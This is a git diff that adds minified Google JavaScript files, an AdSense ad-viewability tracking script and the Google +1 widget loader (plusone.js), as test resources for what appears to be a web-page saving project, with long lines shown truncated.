+-1!=Function.prototype.bind.toString().indexOf("native code")?ca:da;return u.apply(p,arguments)},ea=function(a,b){var c=Array.prototype.slice.call(arguments,1);return function(){var b=Array.prototype.slice.call(arguments);b.unshift.apply(b,c);return a.apply(this,b)}};var v=document,w=window;var x=function(a,b){this.width=a;this.height=b};x.prototype.floor=function(){this.width=Math.floor(this.width);this.height=Math.floor(this.height);return this};x.prototype.round=function(){this.width= [...]
+a:{var P="",Q;if(L&&r.opera)var na=r.opera.version,P="function"==typeof na?na():na;else if(N?Q=/rv\:([^\);]+)(\)|;)/:M?Q=/MSIE\s+([^\);]+)(\)|;)/:O&&(Q=/WebKit\/(\S+)/),Q)var oa=Q.exec(ja()),P=oa?oa[1]:"";if(M){var pa=la();if(pa>parseFloat(P)){ma=String(pa);break a}}ma=P}
+var qa=ma,ra={},sa=function(a){var b;if(!(b=ra[a])){b=0;for(var c=String(qa).replace(/^[\s\xa0]+|[\s\xa0]+$/g,"").split("."),e=String(a).replace(/^[\s\xa0]+|[\s\xa0]+$/g,"").split("."),d=Math.max(c.length,e.length),f=0;0==b&&f<d;f++){var g=c[f]||"",i=e[f]||"",l=RegExp("(\\d*)(\\D*)","g"),h=RegExp("(\\d*)(\\D*)","g");do{var j=l.exec(g)||["","",""],k=h.exec(i)||["","",""];if(0==j[0].length&&0==k[0].length)break;b=((0==j[1].length?0:parseInt(j[1],10))<(0==k[1].length?0:parseInt(k[1],10))?-1 [...]
+0:parseInt(j[1],10))>(0==k[1].length?0:parseInt(k[1],10))?1:0)||((0==j[2].length)<(0==k[2].length)?-1:(0==j[2].length)>(0==k[2].length)?1:0)||(j[2]<k[2]?-1:j[2]>k[2]?1:0)}while(0==b)}b=ra[a]=0<=b}return b},ta=r.document,ua=!ta||!M?m:la()||("CSS1Compat"==ta.compatMode?parseInt(qa,10):5);var va;!N&&!M||M&&M&&9<=ua||N&&sa("1.9.1");M&&sa("9");var S=function(a){return a?new wa(R(a)):va||(va=new wa)},R=function(a){return 9==a.nodeType?a:a.ownerDocument||a.document},wa=function(a){this.u=a||r.d [...]
+"position"),e="fixed"==c||"absolute"==c;for(a=a.parentNode;a&&a!=b;a=a.parentNode)if(c=U(a,"position"),e=e&&"static"==c&&a!=b.documentElement&&a!=b.body,!e&&(a.scrollWidth>a.clientWidth||a.scrollHeight>a.clientHeight||"fixed"==c||"absolute"==c||"relative"==c))return a;return p},Aa=function(a){var b,c=R(a),e=U(a,"position"),d=N&&c.getBoxObjectFor&&!a.getBoundingClientRect&&"absolute"==e&&(b=c.getBoxObjectFor(a))&&(0>b.screenX||0>b.screenY),f=new H(0,0),g;b=c?R(c):document;if(g=M)if(g=!(M& [...]
+"CSS1Compat"!=S(b).u.compatMode;g=g?b.body:b.documentElement;if(a==g)return f;if(a.getBoundingClientRect)b=ya(a),a=xa(S(c)),f.x=b.left+a.x,f.y=b.top+a.y;else if(c.getBoxObjectFor&&!d)b=c.getBoxObjectFor(a),a=c.getBoxObjectFor(g),f.x=b.screenX-a.screenX,f.y=b.screenY-a.screenY;else{d=a;do{f.x+=d.offsetLeft;f.y+=d.offsetTop;d!=a&&(f.x+=d.clientLeft||0,f.y+=d.clientTop||0);if(O&&"fixed"==U(d,"position")){f.x+=c.body.scrollLeft;f.y+=c.body.scrollTop;break}d=d.offsetParent}while(d&&d!=a);if(L [...]
+e)f.y-=c.body.offsetTop;for(d=a;(d=za(d))&&d!=c.body&&d!=g;)if(f.x-=d.scrollLeft,!L||"TR"!=d.tagName)f.y-=d.scrollTop}return f},Ba=/matrix\([0-9\.\-]+, [0-9\.\-]+, [0-9\.\-]+, [0-9\.\-]+, ([0-9\.\-]+)p?x?, ([0-9\.\-]+)p?x?\)/;var V=function(a,b,c,e,d,f,g,i,l){this.a=Ca;this.m=0;this.p=this.l=-1;this.e=[0,0,0,0,0];this.j=[0,0,0,0,0];this.f=[0,0,0,0,0];this.zoom=[0,0,0,0,0];this.k="";this.s=q;this.A=n;this.g=e;this.n=this.c=-1;this.v=b;this.b=0;this.d=d;this.w=g||"";this.z=i||"";this.q=fun [...]
+V.prototype.update=function(a,b,c,e,d){if(!(0>this.g)){var f=c?this.a:Da(this,e,d);e=a-this.g||1;this.g=a;var g=Math.max(f.top,b.top),i=Math.min(f.bottom,b.bottom),l=d=-1;if(0<this.m&&g<=i){var h=Math.max(f.left,b.left),f=Math.min(f.right,b.right);h<=f&&(g=(i-g)*(f-h)/this.m,d=1<=g?0:0.75<=g?1:0.5<=g?2:0.25<=g?3:4,0>this.l&&(this.l=a),this.p=a,0.5<=g&&(a=100*this.m/((b.bottom-b.top)*(b.right-b.left)),l=20<=a?0:10<=a?1:5<=a?2:2.5<=a?3:4))}-1!=this.c&&(this.e[this.c]+=e,2>=this.c&&-1!=this [...]
+e));for(a=this.c;0<=a&&4>=a;a++)if(this.f[a]+=e,c||-1==d||a<d)this.f[a]>this.j[a]&&(this.j[a]=this.f[a]),this.f[a]=0;this.c=c?-1:d;this.n=l;this.q(this,b)}};V.prototype.D=function(a){this.h=a()};V.prototype.t=function(a){a=a();this.r+=a-this.h;this.h=-1};
+var Ea=function(a){return(a.o||a.B)&&!!a.element&&!!a.element.contentWindow&&1>a.C},Da=function(a,b,c){var e,d;b=!c||5!=a.d&&6!=a.d?b.top:b;try{if(a.element){d=a.element.getBoundingClientRect();var f=a.element,g=new H(0,0),i=R(f)?R(f).parentWindow||R(f).defaultView:window;do{var l;if(i==b)l=Aa(f);else{var h=f,j=new H;if(1==h.nodeType){if(h.getBoundingClientRect){var k=ya(h);j.x=k.left;j.y=k.top}else{var s=xa(S(h)),C=Aa(h);j.x=C.x-s.x;j.y=C.y-s.y}if(N&&!sa(12)){c=j;var t;var F=m;M?F="-ms- [...]
+O?F="-webkit-transform":L?F="-o-transform":N&&(F="-moz-transform");var G=m;F&&(G=U(h,F));G||(G=U(h,"transform"));if(G){var ba=G.match(Ba);t=!ba?new H(0,0):new H(parseFloat(ba[1]),parseFloat(ba[2]))}else t=new H(0,0);j=new H(c.x+t.x,c.y+t.y)}}else{var nb="function"==aa(h.F);c=h;h.targetTouches?c=h.targetTouches[0]:nb&&h.F().targetTouches&&(c=h.F().targetTouches[0]);j.x=c.clientX;j.y=c.clientY}l=j}c=l;g.x+=c.x;g.y+=c.y}while(i&&i!=b&&(f=i.frameElement)&&(i=i.parent));e=g}else d=Ca,e=new H( [...]
+e.x+a.i.left,Qa=e.y+a.i.top,ob=a.i.right||d.right-d.left,pb=a.i.bottom||d.bottom-d.top;a.a=new T(Math.round(Qa),Math.round(Pa+ob),Math.round(Qa+pb),Math.round(Pa))}catch(yb){a.a=a.i}a.m=(a.a.bottom-a.a.top)*(a.a.right-a.a.left);return a.a};var Fa=function(a){var b=w;a&&b.top!=b&&(b=b.top);try{var c;if(b.document&&!b.document.body)c=new x(-1,-1);else{var e=(b||window).document,d="CSS1Compat"==e.compatMode?e.documentElement:e.body;c=new x(d.clientWidth,d.clientHeight)}return c}catch(f){ret [...]
+preview:4}[a.webkitVisibilityState||a.mozVisibilityState||""]||0;(a=1==a||0==a)&&Ga(n);Ja(W,!a)},W=[],Ka=q,Sa=(new Date).getTime(),Z=-1,La=p,Ta=p,Ua=p,X=p,Ma=!B(w.top),Y=function(){return(new Date).getTime()-Sa},Va=0,Wa=0,Na=0,Oa=0,Xa=-1,Za=function(){for(var a=12E4,b=Y(),c=0;c<W.length;++c){var e;e=W[c];if(Ea(e)){var d;d=e.e[2]+e.e[1]+e.e[0];2>=e.c&&-1!=e.c&&(d+=b-e.p);if(0<=e.h||12E4>d)e=12E4-d;else{if(Ea(e)){d=m;b:{if(d=e.v)if((d=d.match("eid=([^&]+)"))&&2==d.length){d=d[1];break b}d= [...]
+e.o?"39482002":"39482011";e.o&&(d=d.replace("39482001",f));f={"0":"autorefresh"};f[1]=d;try{var g=w.JSON.stringify(f);e.element.contentWindow.postMessage(g,"*");e.C++}catch(i){e.o=q,e.B=q}}e=12E4}}else e=12E4;a=Math.min(a,e)}Ya()&&(a=Math.max(a,5E3),window.setTimeout(Za,a))},Ya=function(){for(var a=0;a<W.length;++a)if(Ea(W[a]))return n;return q},Ga=function(a){La=Fa(n);if(!a){Ta=w.outerWidth?new x(w.outerWidth,w.outerHeight):new x(-12245933,-12245933);a=w;a.top!=a&&(a=a.top);var b=0,c=0, [...]
+a.document,f=d.body,g=d.documentElement;if("CSS1Compat"==d.compatMode&&g.scrollHeight)b=g.scrollHeight!=e.height?g.scrollHeight:g.offsetHeight,c=g.scrollWidth!=e.width?g.scrollWidth:g.offsetWidth;else{var i=g.scrollHeight,l=g.scrollWidth,h=g.offsetHeight,j=g.offsetWidth;g.clientHeight!=h&&(i=f.scrollHeight,l=f.scrollWidth,h=f.offsetHeight,j=f.offsetWidth);i>e.height?i>h?(b=i,c=l):(b=h,c=j):i<h?(b=i,c=l):(b=h,c=j)}Ua=new x(c,b)}catch(k){Ua=new x(-12245933,-12245933)}}};var $,$a=p,bb=funct [...]
+!window.opera?z(d,"readystatechange",function(){"complete"==d.readyState&&C()}):z(d,"load",C)}},a);if(a)for(var e=W.length,d=0;d<e;++d){var f=W[d];0>=f.g&&(f.g=c)}},mb=function(){try{var a=E(),b=Y();Z=b;window.clearTimeout($a);$a=p;Ga(q);if(cb()){Va=$.numBlocks();if("function"!=typeof $.getNewBlocks){var c=[];Wa=0;$.getBlocks(function(a,d,e){Wa++;a=new V(window.top,d,a,b,e,Ma);a.q=fb;a.k=gb(hb,d);a.b=ib(d);c.push(a)});W=c}else db(n),Wa=W.length;var e,d;v.mozVisibilityState?d="mozvisibili [...]
+v.webkitVisibilityState&&(d="webkitvisibilitychange");(e=d)&&z(v,e,Ra);Ra();for(e=0;e<W.length;++e)if(Ea(W[e])){window.setTimeout(Za,12E4);break}if(2!=ab()){z(w,"message",jb);e=W;for(d=0;d<e.length;++d){var f=e[d];if(f.element&&f.element.contentWindow){var g=f,i={"0":"goog_get_override"};try{var l=window.JSON.stringify(i);g.element.contentWindow.postMessage(l,"*")}catch(h){}}}w.setTimeout(kb,500)}var j=2==$.getOseId();z(a,"scroll",Ha);z(a,"resize",Ia);if(j)for(var k,a=0;a<W.length;++a)if [...]
+u(k.D,k,Y);z(k.element,"mouseover",s);var C=u(k.t,k,Y);z(k.element,"mouseout",C)}window.setTimeout(function(){lb("t")},36E5);Xa=Y()-b}else lb("c")}catch(t){W=[],lb("x")}},lb=function(a){window.clearTimeout(X);X=p;var b=E(),c=b.document;$||($=Goog_AdSense_getAdAdapterInstance());if(!Ka){if(2==ab()){var e=0<=Z?Y()-Z:-1;"u"==a&&-1==Xa&&(a="l",W=[],e=Y());var d;d||(d="http");d=[[d,"://pagead2.googlesyndication.com/pagead/gen_204?id=osd"].join("")];var f={};try{var g=W;if(0<g.length){Ja(g,n); [...]
+g.length;c++)if(0<g[c].b){0<g[c].h&&g[c].t(Y);var i=g[c],l=i.a,h=["p:",l.top,l.left,l.bottom,l.right];h.push("tos:",i.e.join(","));h.push("mtos:",i.j.join(","));h.push("rs:",i.d);var j=5==i.d||6==i.d;j||(h.push("zoom:",i.zoom.join(",")),h.push("ht:",i.r));0<=i.l&&h.push("tfs:",i.l,"tls:",i.p);i.k&&h.push("fp:",i.k);j&&(i.z&&h.push("ord:",i.z),i.w&&h.push("amd:",i.w,";"),i.G&&h.push("anid:","1"));f[g[c].b]="adk"+g[c].b+"="+y(h.join(","));d.push(f[g[c].b])}c=La;d.push("bs="+c.width+","+c.h [...]
+Ta;d.push("bos="+c.width+","+c.height);c=Ua;d.push("ps="+c.width+","+c.height);b.screen&&d.push("ss="+b.screen.width+","+b.screen.height);var k=gb(qb,g[0].v);if(k&&("&"==k.charAt(0)||"?"==k.charAt(0)))k=k.slice(1);d.push("fp="+y(k))}else d.push("url="+y(b.location.href)),c.referrer&&d.push("referrer="+y(c.referrer)),$&&(d.push("correlator="+$.getCorrelator()),d.push("eid="+$.getOseExpId()),d.push("oid="+ab()));d.push("tt="+e);d.push("pt="+Z);d.push("deb="+y([1,Va,Wa,Na,Oa,Xa].join("-"))) [...]
+a);rb&&d.push("ovr=t");if(b.top!=b){d.push("iframe_loc="+y(b.location.href));var s=Fa(q);d.push("is="+s.width+","+s.height)}}catch(C){d.push("error")}a=d.join("&");try{b.google_image_requests||(b.google_image_requests=[]);var t=b.document.createElement("img");t.src=a;b.google_image_requests.push(t)}catch(F){}1<g.length&&d.splice(2,g.length-1);for(c=0;c<g.length;c++)if(t=g[c],0!=c&&d.splice(1,1,f[t.b]),a=d.join("&"),t.element&&t.element.contentWindow)try{e={"0":"goog_image_request"};e[3]= [...]
+var G=b.JSON.stringify(e);t.element.contentWindow.postMessage(G,"*")}catch(ba){}}Ka=n}},hb=/[&\?](?:slotname|dt|ifi|adx|ady|format)=[^&]+/g,qb=/[&\?](?:client|correlator|url|ifk|oid|eid)=[^&]+/g,gb=function(a,b){var c=b.match(a);return c?c.join(""):""},rb=q,sb=0,cb=function(){var a=E().document;if(!a.body||!a.body.getBoundingClientRect||"function"!=typeof Goog_AdSense_getAdAdapterInstance)return q;$=Goog_AdSense_getAdAdapterInstance();return n},tb=function(a,b){if(b){a(b);var c=b.frames; [...]
+c.length,d;for(d=0;d<e;++d)tb(a,c[d])}}},ub=function(a,b){try{b.postMessage(a,"*")}catch(c){}},fb=function(a,b){if(a&&!a.s){var c=1E3<=Math.max(a.f[2],a.j[2]);if(c||a.A){var e=c?"1":"0";a.A=q;var d=$.getCorrelator(),f=a.a,e=["{vi:",e,",cl:",d,",adk:",a.b,",rs:",a.d,",pl:",f.left,",pr:",f.right,",pt:",f.top,",pb:",f.bottom,",vl:",b.left,",vr:",b.right,",vt:",b.top,",vb:",b.bottom,"}"].join(""),f=a.element;try{var d=[],g=f.contentWindow||(f.contentDocument||f.contentWindow.document).parent [...]
+f.contentWindow.document).defaultView;if(g)d=[g];else{var i;var l,h=document,h=f||h;i=h.querySelectorAll&&h.querySelector?h.querySelectorAll("IFRAME"):l=h.getElementsByTagName("IFRAME");for(h=0;h<i.length;++h)(g=i[h].contentWindow||(i[h].contentDocument||i[h].contentWindow.document).parentWindow||(i[h].contentDocument||i[h].contentWindow.document).defaultView)&&d.push(g)}var j=d.length;if(0<j)for(var k=ea(ub,e),h=0;h<j;++h)tb(k,d[h])}catch(s){}if(c&&(a.s=n,!bb()&&(c=2==$.getOseId(),g=E() [...]
+Ha),A(g,"resize",Ia),c)))for(g=0;g<W.length;++g)c=W[g],c.element&&(i=u(c.D,c,Y),A(c.element,"mouseover",i),i=u(c.t,c,Y),A(c.element,"mouseout",i))}}},ib=function(a){return(a=a.match(/[&\?](?:adk)=([0-9]+)/))&&2==a.length?parseInt(a[1],10):0},jb=function(a){if(a.data){var b;a:{a=a.data;var c=window;if("object"==typeof a)b=a;else{if("string"==typeof a)try{var e=c.JSON.parse(a);e[2]=n;b=e;break a}catch(d){}b=p}}b&&"goog_provide_override"==b[0]&&(b=b[1],0<b&&(1>=b&&b>sb)&&(sb=b))}},kb=functi [...]
+sb){var a;a:{a=[2];var b=sb;if(!(1E-4>Math.random())){var c=Math.random();if(c<b){a=a[Math.floor(c/b*a.length)];break a}}a=p}2==a&&(rb=n)}},ab=function(){return rb?2:$?$.getOseId():0};var vb=E();z(vb,"unload",function(){lb("u")});var wb=E();if("complete"==wb.document.readyState||wb.google_onload_fired)mb();else{eb();var xb=E();z(xb,"load",function(){window.setTimeout(mb,100)})};})();
diff --git a/src/test/resources/s/Filer_for_fark/plusone.js b/src/test/resources/s/Filer_for_fark/plusone.js
new file mode 100644
index 0000000..0c6438b
--- /dev/null
+++ b/src/test/resources/s/Filer_for_fark/plusone.js
@@ -0,0 +1,27 @@
+var gapi=window.gapi=window.gapi||{};gapi._bs=new Date().getTime();(function(){var l=void 0,p=!0,q=null,s=!1,aa=encodeURIComponent,t=window,ba=Object,u=document,v=String,ca=decodeURIComponent;function da(a,b){return a.type=b}
+var ea="appendChild",w="push",x="test",fa="exec",z="replace",ga="getElementById",A="concat",ha="JSON",B="indexOf",ia="match",ja="readyState",D="createElement",E="setAttribute",ka="getTime",la="getElementsByTagName",F="length",G="split",H="location",I="style",ma="removeChild",na="call",J="getAttribute",K="href",oa="action",L="apply",pa="attributes",M="parentNode",N="join",O="toLowerCase";var P=t,Q=u,qa=P[H],ra=function(){},sa=/\[native code\]/,R=function(a,b,c){return a[b]=a[b]||c},ta=fun [...]
+var b=[],c;for(c in a)T(a,c)&&b[w](c);return b},W=function(a,b){a=a||{};for(var c in a)T(a,c)&&(b[c]=a[c])},Ba=function(a,b){if(!a)throw Error(b||"");},X=R(P,"gapi",{});var Ca=function(a,b,c){var e=RegExp("([#].*&|[#])"+b+"=([^&#]*)","g");b=RegExp("([?#].*&|[?#])"+b+"=([^&#]*)","g");if(a=a&&(e[fa](a)||b[fa](a)))try{c=ca(a[2])}catch(d){}return c},Da=/^([^?#]*)(\?([^#]*))?(\#(.*))?$/,Ea=function(a){a=a[ia](Da);var b=S();b.k=a[1];b.c=a[3]?[a[3]]:[];b.g=a[5]?[a[5]]:[];return b},Fa=function(a [...]
+b,c){a=Ea(a);a.c[w][L](a.c,Ga(b));a.g[w][L](a.g,Ga(c));return Fa(a)};var Ia=function(a,b,c){if(P[b+"EventListener"])P[b+"EventListener"]("message",a,s);else if(P[c+"tachEvent"])P[c+"tachEvent"]("onmessage",a)},Ja={button:p,div:p,span:p};var Y;Y=R(P,"___jsl",S());R(Y,"I",0);R(Y,"hel",10);var Ka=function(a){return!Y.dpo?Ca(a,"jsh",Y.h):Y.h},La=function(a){return R(R(Y,"H",S()),a,S())};var Ma=R(Y,"perf",S()),Oa=R(Ma,"g",S()),Pa=R(Ma,"i",S());R(Ma,"r",[]);S();S();var Qa=function(a,b,c){var e [...]
+var Xa=function(a){return a[N](",")[z](/\./g,"_")[z](/-/g,"_")},Ya=function(a,b){for(var c=[],e=0;e<a[F];++e){var d=a[e];d&&0>ta[na](b,d)&&c[w](d)}return c},Za=/^[\/_a-zA-Z0-9,.\-!:=]+$/,$a=/^https?:\/\/[^\/\?#]+\.google\.com(:\d+)?\/[^\?#]+$/,ab=/\/cb=/g,bb=/\/\//g,cb=function(a){var b=Q[D](Wa);b[E]("src",a);b.async="true";(a=Q[la](Wa)[0])?a[M].insertBefore(b,a):(Q.head||Q.body||Q.documentElement)[ea](b)},eb=function(a,b){var c=b||{};"function"==typeof b&&(c={},c[Z.b]=b);var e=c,d=e&&e[ [...]
+0;g<Va[F];g++){var j=Va[g][0],h=Va[g][1];h&&T(d,j)&&h(d[j],a,e)}e=a?a[G](":"):[];if(!(d=c[Z.i]))if(d=Ka(qa[K]),!d)throw"Bad hint";g=d;j=R(Y,"ah",S());if(!j["::"]||!e[F])db(e||[],c,g);else{d=[];for(h=q;h=e.shift();){var f=h[G]("."),f=j[h]||j[f[1]&&"ns:"+f[0]||""]||g,i=d[F]&&d[d[F]-1]||q,m=i;if(!i||i.hint!=f)m={hint:f,j:[]},d[w](m);m.j[w](h)}var C=d[F];if(1<C){var k=c[Z.b];k&&(c[Z.b]=function(){0==--C&&k()})}for(;e=d.shift();)db(e.j,c,e.hint)}},db=function(a,b,c){var e=a.sort();a=[];for(va [...]
+e[F];g++){var j=e[g];j!=d&&a[w](j);d=j}a=a||[];var h=b[Z.b],f=b[Z.n],d=b[Z.TIMEOUT],i=b[Z.o],m=q,C=s;if(d&&!i||!d&&i)throw"Timeout requires both the timeout parameter and ontimeout parameter to be set";var e=R(La(c),"r",[]).sort(),k=R(La(c),"L",[]).sort(),n=[][A](e),r=function(a,b){if(C)return 0;P.clearTimeout(m);k[w][L](k,y);var d=((X||{}).config||{}).update;d?d(f):f&&R(Y,"cu",[])[w](f);if(b){Ta("me0",a,n);try{fb(function(){var a;a=c===Ka(qa[K])?R(X,"_",S()):S();a=R(La(c),"_",a);b(a)})} [...]
+a,n)}}h&&h();return 1};0<d&&(m=P.setTimeout(function(){C=p;i()},d));var y=Ya(a,k);if(y[F]){var y=Ya(a,e),U=R(Y,"CP",[]),V=U[F];U[V]=function(a){if(!a)return 0;Ta("ml1",y,n);var b=function(){U[V]=q;return r(y,a)};if(0<V&&U[V-1])U[V]=b;else for(b();(b=U[++V])&&b(););};if(y[F]){var Na="loaded_"+Y.I++;X[Na]=function(a){U[V](a);X[Na]=q};a=c[G](";");a=(d=Ua[a.shift()])&&d(a);if(!a)throw"Bad hint:"+c;d=a=a[z]("__features__",Xa(y))[z](/\/$/,"")+(e[F]?"/ed=1/exm="+Xa(e):"")+("/cb=gapi."+Na);g=d[i [...]
+d[ia](ab);if(!j||!(1===j[F]&&$a[x](d)&&Za[x](d)&&g&&1===g[F]))throw"Bad URL "+a;e[w][L](e,y);Ta("ml0",y,n);b[Z.p]||P.___gapisync?(b=a,"loading"!=Q[ja]?cb(b):Q.write("<"+Wa+' src="'+encodeURI(b)+'"></'+Wa+">")):cb(a)}else U[V](ra)}else r(y)};var fb=function(a){if(Y.hee&&0<Y.hel)try{return a()}catch(b){Y.hel--,eb("debug_error",function(){t.___jsl.hefn(b)})}else return a()};X.load=function(a,b){return fb(function(){return eb(a,b)})};var gb=function(a){var b=t.___jsl=t.___jsl||{};b[a]=b[a]|| [...]
+1);)a=a.substring(0,a[F]-1);var b;try{b=t[ha].parse(a)}catch(c){}if("object"===typeof b)return b;try{b=(new Function("return ("+a+"\n)"))()}catch(e){}if("object"===typeof b)return b;try{b=(new Function("return ({"+a+"\n})"))()}catch(d){}return"object"===typeof b?b:{}}},$=function(a){if(!a)return hb();a=a[G]("/");for(var b=hb(),c=0,e=a[F];b&&"object"===typeof b&&c<e;++c)b=b[a[c]];return c===a[F]&&b!==l?b:l};var lb=R(Y,"rw",S()),mb=function(a,b){var c=lb[a];c&&c.state<b&&(c.state=b)};var n [...]
+'"/>')}catch(f){g=a[D]("iframe"),j&&(g.onload=function(){g.onload=q;j[na](this)},pb().r(e))}for(var i in c)a=c[i],"style"===i&&"object"===typeof a?W(a,g[I]):rb[i]||g[E](i,v(a));if(!d||!d.dontclear)for(;b.firstChild;)b[ma](b.firstChild);b[ea](g);g=b.lastChild;c.allowtransparency&&(g.allowTransparency=p);return g};var ub=/:([a-zA-Z_]+):/g,vb={style:"position:absolute;top:-10000px;width:300px;margin:0px;borderStyle:none"},wb="onPlusOne _ready _close,_open _resizeMe _renderstart oncircled".s [...]
+session_index:e,session_prefix:d!==l&&d!==q&&""!==d?"u/"+d+"/":"",im_prefix:$("googleapis.config/signedIn")===s?"_/im/":""}}return xb[b]||""},Bb=["style","data-gapiscan"],Cb=function(a){var b=l;"number"===typeof a?b=a:"string"===typeof a&&(b=parseInt(a,10));return b},Db=function(){};var Eb,Fb,Gb,Hb,Ib,Jb=/(?:^|\s)g-((\S)*)(?:$|\s)/;Eb=R(Y,"SW",S());Fb=R(Y,"SA",S());Gb=R(Y,"SM",S());Hb=R(Y,"FW",[]);Ib=q;
+var Lb=function(a,b){Kb(l,s,a,b)},Kb=function(a,b,c,e){Ra("ps0",p);c=("string"===typeof c?u[ga](c):c)||Q;var d;d=Q.documentMode;if(c.querySelectorAll&&(!d||8<d)){d=e?[e]:Aa(Eb)[A](Aa(Fb))[A](Aa(Gb));for(var g=[],j=0;j<d[F];j++){var h=d[j];g[w](".g-"+h,"g\\:"+h)}d=c.querySelectorAll(g[N](","))}else d=c[la]("*");c=S();for(g=0;g<d[F];g++){j=d[g];var f=j,h=e,i=f.nodeName[O](),m=l;f[J]("data-gapiscan")?h=q:(0==i[B]("g:")?m=i.substr(2):(f=(f=v(f.className||f[J]("class")))&&Jb[fa](f))&&(m=f[1]) [...]
+Fb[m]||Gb[m])&&(!h||m===h)?m:q);h&&(j[E]("data-gapiscan",p),R(c,h,[])[w](j))}if(b)for(var C in c){b=c[C];for(e=0;e<b[F];e++)b[e][E]("data-onload",p)}for(var k in c)Hb[w](k);Ra("ps1",p);((C=Hb[N](":"))||a)&&X.load(C,a);if(Mb(Ib||{}))for(var n in c){a=c[n];k=0;for(b=a[F];k<b;k++)a[k].removeAttribute("data-gapiscan");Nb(n)}else{e=[];for(n in c){a=c[n];k=0;for(b=a[F];k<b;k++){j=a[k];d=n;h=g=j;j=S();m=0!=h.nodeName[O]()[B]("g:");f=0;for(i=h[pa][F];f<i;f++){var r=h[pa][f],y=r.name,r=r.value;0< [...]
+y)||(m&&0!=y[B]("data-")||"null"===r)||(m&&(y=y.substr(5)),j[y[O]()]=r)}m=j;h=h[I];(f=Cb(h&&h.height))&&(m.height=v(f));(h=Cb(h&&h.width))&&(m.width=v(h));Ob(d,g,j,e,b)}}Pb(C,e)}},Qb=function(a){var b=R(X,a,{});b.go||(b.go=function(b){return Lb(b,a)},b.render=function(b,e){var d=e||{};da(d,a);var g=d.type;delete d.type;var j=("string"===typeof b?u[ga](b):b)||l,h={},f;for(f in d)T(d,f)&&(h[f[O]()]=d[f]);h.rd=1;d=[];Ob(g,j,h,d,0);Pb(g,d)})},Rb=function(a){Eb[a]=p},Sb=function(a){Fb[a]=p},T [...]
+p};var Nb=function(a,b){var c=R(Y,"watt",S())[a];b&&c?(c(b),(c=b.iframeNode)&&c[E]("data-gapiattached",p)):X.load(a,function(){var c=R(Y,"watt",S())[a],d=b&&b.iframeNode;!d||!c?(0,X[a].go)(d&&d[M]):(c(b),d[E]("data-gapiattached",p))})},Mb=function(){return s},Pb=function(){},Ob=function(a,b,c,e,d){switch(Ub(b,a)){case 0:a=Gb[a]?a+"_annotation":a;e={};e.iframeNode=b;e.userParams=c;Nb(a,e);break;case 1:if(b[M]){var g=p;c.dontclear&&(g=s);delete c.dontclear;var j,h,f;h=f=a;"plus"==a&&c[oa]& [...]
+h=a+"/"+c[oa]);(f=$("iframes/"+f+"/url"))||(f=":socialhost:/_/widget/render/"+h);h=f[z](ub,Ab);f={};W(c,f);f.hl=$("lang")||"en-US";f.origin=t[H].origin||t[H].protocol+"//"+t[H].host;f.exp=$("iframes/"+a+"/params/exp");var i=$("iframes/"+a+"/params/location");if(i)for(var m=0;m<i[F];m++){var C=i[m];f[C]=P[H][C]}switch(a){case "plus":i=f[K];m=c[oa]?l:"publisher";i=(i="string"==typeof i?i:l)?nb(i):ob(m);f.url=i;delete f[K];break;case "plusone":case "recobox":f.url=c[K]?nb(c[K]):ob();i=c.db; [...]
+q&&m&&(i=m.db,i==q&&(i=m.gwidget&&m.gwidget.db));f.db=i||l;i=c.ecp;m=$();i==q&&m&&(i=m.ecp,i==q&&(i=m.gwidget&&m.gwidget.ecp));f.ecp=i||l;delete f[K];break;case "signin":f.url=ob()}f.hl=$("lang")||"en-US";Y.ILI&&(f.iloader="1");delete f["data-onload"];delete f.rd;f.gsrc=$("iframes/:source:");i=$("inline/css");"undefined"!==typeof i&&(0<d&&i>=d)&&(f.ic="1");i=/^#|^fr-/;d={};for(var k in f)T(f,k)&&i[x](k)&&(d[k[z](i,"")]=f[k],delete f[k]);k=[][A](wb);i=$("iframes/"+a+"/methods");"object"== [...]
+sa[x](i[w])&&(k=k[A](i));for(j in c)if(T(c,j)&&/^on/[x](j)&&("plus"!=a||"onconnect"!=j))k[w](j),delete f[j];delete f.callback;d._methods=k[N](",");j=Ha(h,f,d);c.rd?k=b:(k=u[D]("div"),b[E]("data-gapistub",p),k[I].cssText="position:absolute;width:100px;left:-10000px;",b[M].insertBefore(k,b));k.id||(b=k,R(yb,a,0),h="___"+a+"_"+yb[a]++,b.id=h);b=S();b[">type"]=a;W(c,b);k[E]("data-gwattr",Ga(b)[N](":"));b=k;k={allowPost:1,attributes:vb};k.dontclear=!g;var n;h=k||{};g=h[pa]||{};Ba(!h.allowPost [...]
+"onload is not supported by post iframe");h.rpctoken||(h.rpctoken=q);g=b.ownerDocument||Q;f=0;do k=h.id||["I",sb++,"_",(new Date)[ka]()][N]("");while(g[ga](k)&&5>++f);Ba(5>f,"Error creating iframe id");d=g[H][K];f=S();(i=Ca(d,"_bsh",Y.bsh))&&(f._bsh=i);(d=Ka(d))&&(f.jsh=d);d=S();d.id=k;d.parent=g[H].protocol+"//"+g[H].host;i=Ca(g[H][K],"id","");m=Ca(g[H][K],"pfname","");(i=i?m+"/"+i:"")&&(d.pfname=i);h.rpctoken&&(d.rpctoken=h.rpctoken);h.hintInFragment?W(f,d):n=f;f=Ha(j,n,d);n=S();W(qb,n [...]
+n);n.name=n.id=k;n.src=f;var r;if((h||{}).allowPost&&2E3<f[F]){f=Ea(f);n.src="";n["data-postorigin"]=f.k;n=tb(g,b,n,k);-1!=navigator.userAgent[B]("WebKit")&&(r=n.contentWindow.document,r.open(),d=r[D]("div"),i={},m=k+"_inner",i.name=m,i.src="",i.style="display:none",tb(g,d,i,m,h));d=(h=f.c[0])?h[G]("&"):[];h=[];for(i=0;i<d[F];i++)m=d[i][G]("=",2),h[w]([ca(m[0]),ca(m[1])]);f.c=[];d=Fa(f);f=g[D]("form");f.action=d;f.method="POST";f.target=k;f[I].display="none";for(k=0;k<h[F];k++)d=g[D]("in [...]
+"hidden"),d.name=h[k][0],d.value=h[k][1],f[ea](d);b[ea](f);f.submit();f[M][ma](f);r&&r.close();r=n}else r=tb(g,b,n,k,h);n=r;r={};r.userParams=c;r.url=j;da(r,a);r.iframeNode=n;r.id=n[J]("id");c=r.id;n=S();n.id=c;n.userParams=r.userParams;n.url=r.url;da(n,r.type);n.state=1;lb[c]=n;c=r}else c=q;c&&((r=c.id)&&e[w](r),Nb(a,c))}},Ub=function(a,b){if(a&&1===a.nodeType&&b)if(Gb[b]){if(Ja[a.nodeName[O]()]){var c=a.innerHTML;return c&&c[z](/^[\s\xa0]+|[\s\xa0]+$/g,"")?0:1}}else{if(Fb[b])return 0;i [...]
